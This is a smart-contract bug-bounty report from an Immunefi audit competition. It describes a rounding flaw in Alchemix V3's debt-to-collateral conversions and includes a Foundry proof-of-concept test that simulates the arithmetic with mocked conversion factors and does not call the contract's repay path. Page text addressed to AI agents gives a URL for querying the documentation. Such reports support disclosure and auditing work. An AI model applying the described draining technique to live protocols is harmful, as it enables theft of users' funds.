# 58131 sc critical rounding errors in debt to collateral conversions allow attackers to drain protocol assets

**Submitted on Oct 30th 2025 at 21:13:32 UTC by @blacksaviour for** [**Audit Comp | Alchemix V3**](https://immunefi.com/audit-competition/alchemix-v3-audit-competition)

* **Report ID:** #58131
* **Report Type:** Smart Contract
* **Report severity:** Critical
* **Target:** <https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol>
* **Impacts:**
  * Protocol insolvency

## Description

BRIEF / INTRO A chained rounding error in the conversion path (debt → underlying → yield) causes very small, non-zero debt repayments to translate into zero collateral because successive integer divisions truncate to 0. An attacker can repeatedly repay tiny amounts (for example, 1 wei), burn their debt, but remove no collateral — gradually and reliably draining protocol assets. If this is exploited on mainnet it can lead to direct theft of protocol funds, under‑collateralization, and eventual insolvency.

VULNERABILITY DETAILS What is happening (technical): The protocol converts between three token units — debt tokens, underlying tokens, and yield/collateral tokens — using fixed-point integer arithmetic. Each conversion step performs truncating integer division. When a small value flows through multiple conversion steps, the intermediate values can round down to 0, even though the original debt amount is non-zero. The protocol then uses the rounded result (often 0) to adjust collateral, but subtracts the original, non‑rounded debt amount from liability accounting. This mismatch is the root cause.

Representative conversion functions: function convertYieldTokensToDebt(uint256 amount) public view returns (uint256) { return normalizeUnderlyingTokensToDebt(convertYieldTokensToUnderlying(amount)); }

function convertDebtTokensToYield(uint256 amount) public view returns (uint256) { return convertUnderlyingTokensToYield(normalizeDebtTokensToUnderlying(amount)); }

In the repay flow (example excerpt from \_forceRepay()): uint256 creditToYield = convertDebtTokensToYield(credit); creditToYield = creditToYield > account.collateralBalance ? account.collateralBalance : creditToYield; account.collateralBalance -= creditToYield;

Meanwhile, the debt-reduction path (\_subDebt) decrements the account’s debt by the full amount: uint256 toFree = convertDebtTokensToYield(amount) \* minimumCollateralization / FIXED\_POINT\_SCALAR; uint256 lockedCollateral = convertDebtTokensToYield(account.debt) \* minimumCollateralization / FIXED\_POINT\_SCALAR;

account.debt -= amount; totalDebt -= amount; \_totalLocked -= toFree; account.rawLocked = lockedCollateral - toFree;

Why this is a problem: if convertDebtTokensToYield(amount) returns 0 for small amount due to truncation, toFree becomes 0 and no collateral is reduced, while the account.debt and totalDebt are reduced by amount. Repeating this behavior repeatedly allows an attacker to burn debt without surrendering the corresponding collateral, producing a net loss for the protocol.

IMPACT DETAILS Direct consequences:

Direct theft of protocol funds: attackers can repay less collateral than the debt they burn — effectively extracting value from the protocol.

Protocol insolvency risk: repeated exploitation causes assets and liabilities to diverge, risking under‑collateralization and inability to honor withdrawals.

Theft of unclaimed yield (likely): when collateral represents yield-bearing assets, this behavior lets attackers keep accrued yield while reducing their debt.

Operational failure risk: at large scale, drained collateral could render parts of the contract unable to operate normally (lack of token funds).

## Proof of Concept

## Proof of Concept

function testPOC\_RoundingMath\_Demonstration() external { console.log("\n POC: Explicit Rounding Math Demonstration (Rounding Visible) \n");

```
// Setup simple scenario
uint256 depositAmount = 100e18;

vm.startPrank(address(0xbeef));
SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount);
alchemist.deposit(depositAmount, address(0xbeef), 0);
uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
vm.stopPrank();

console.log(" CONVERSION ROUNDING ISSUE ");

// Manually emulate a non-1 conversion factor for testing rounding behavior
// We pretend that the underlying conversion factor = 1.003
uint256 underlyingConversionFactor = 1003e15; // 1.003 * 1e18
uint256 yieldConversionFactor = 1e18;         // 1.000 * 1e18

uint256 testDebt = 1; // 1 wei of debt

console.log("Test Debt Amount:", testDebt);
console.log("\nConversion Chain:");

// Step 1: Simulate Debt → Underlying (using mocked conversion factor)
uint256 underlyingAmount = (testDebt * 1e18) / underlyingConversionFactor;
console.log("1. Debt to Underlying:", underlyingAmount);
console.log("   Formula: (debt * 1e18) / underlyingConversionFactor");
console.log("   underlyingConversionFactor:", underlyingConversionFactor);

// Step 2: Simulate Underlying → Yield
uint256 yieldAmount = (underlyingAmount * 1e18) / yieldConversionFactor;
console.log("2. Underlying to Yield:", yieldAmount);

// Full chain equivalent
uint256 finalYield = (testDebt * 1e18 * 1e18) / (underlyingConversionFactor * yieldConversionFactor);
console.log("\nDirect Debt to Yield:", finalYield);

if (finalYield == 0 && testDebt > 0) {
    console.log("\n CRITICAL: Non-zero debt converts to ZERO collateral ");
}

// --- Accumulation Effect ---
console.log("\n ACCUMULATION EFFECT ");
uint256 iterations = 1000;
uint256 totalDebtReduced = 0;
uint256 totalCollateralRemoved = 0;

for (uint256 i = 0; i < iterations; i++) {
    totalDebtReduced += 1;
    // Apply same conversion math in loop to show accumulated truncation loss
    totalCollateralRemoved += (1 * 1e18 * 1e18) / (underlyingConversionFactor * yieldConversionFactor);
}

console.log("After", iterations, "repayments of 1 wei each:");
console.log("Total Debt Reduced:", totalDebtReduced);
console.log("Total Collateral Removed:", totalCollateralRemoved);

if (totalCollateralRemoved < totalDebtReduced) {
    console.log("\n PROTOCOL LOSS DETECTED ");
    console.log("Loss to Protocol:", totalDebtReduced - totalCollateralRemoved, "debt wei");
} else {
    console.log("No loss detected (conversion factor too precise).");
}

console.log("\n ROOT CAUSE ");
console.log("The rounding bug occurs when conversion factors introduce division truncation.");
console.log("1. convertDebtTokensToYield rounds DOWN twice");
console.log("2. _forceRepay uses the rounded result for collateral removal");
console.log("3. But _subDebt reduces full debt amount");
console.log(" Protocol collateral accounting drifts over many small repayments.\n");

// Assertion: we expect to see discrepancy
assertTrue(totalCollateralRemoved < totalDebtReduced, "Expected rounding discrepancy not observed");
```

}

}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/alchemix-v3/58131-sc-critical-rounding-errors-in-debt-to-collateral-conversions-allow-attackers-to-drain-protoco.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
